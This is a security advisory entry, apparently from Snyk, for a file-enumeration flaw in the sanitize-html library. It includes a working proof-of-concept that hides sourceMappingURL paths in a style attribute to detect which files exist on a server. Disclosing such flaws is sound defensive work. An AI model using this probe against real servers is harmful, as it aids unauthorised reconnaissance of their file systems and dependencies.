SNYK-JS-SANITIZEHTML-6256334 PUBLISHED CVSS 5.300000190734863 MEDIUM

## Overview [sanitize-html](https://github.com/punkave/sanitize-html) is a library that allows you to clean up user-submitted HTML, preserving whitelisted elements and whitelisted attributes on a per-element basis Affected versions of this package are vulnerable to Information Exposure when used on the backend and with the `style` attribute allowed, allowing enumeration of files in the system (including project dependencies). An attacker could exploit this vulnerability to gather details about the file system structure and dependencies of the targeted server. ## PoC ```js // index.js const sanitizeHtml = require('sanitize-html'); const file_exist = `<a style='background-image: url("/*# sourceMappingURL=./node_modules/sanitize-html/index.js */");'>@slonser_</a>`; const file_notexist = `<a style='background-image: url("/*# sourceMappingURL=./node_modules/randomlibrary/index.js */");'>@slonser_</a>`; const file_exist_clean = sanitizeHtml(file_exist, { allowedAttributes: { ...sanitizeHtml.defaults.allowedAttributes, a: ['style'] }, }) const file_notexist_clean = sanitizeHtml(file_notexist, { allowedAttributes: { ...sanitizeHtml.defaults.allowedAttributes, a: ['style'] }, }) console.log(file_exist_clean, "// valid file path on backend") console.log(file_notexist_clean, "// invalid file path on backend") ``` ## Remediation Upgrade `sanitize-html` to version 2.12.1 or higher. ## References - [Github Commit](https://github.com/apostrophecms/sanitize-html/commit/c5dbdf77fe8b836d3bf4554ea39edb45281ec0b4) - [Github Discussion](https://github.com/apostrophecms/apostrophe/discussions/4436) - [GitHub Gist](https://gist.github.com/Slonser/8b4d061abe6ee1b2e10c7242987674cf) - [Github PR](https://github.com/apostrophecms/sanitize-html/pull/650)

Risk Scores

CVSS v3.1
5.300000190734863
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N/E:P

Affected Products

VendorProductVersions
0

Timeline

References

Open in Interactive Console →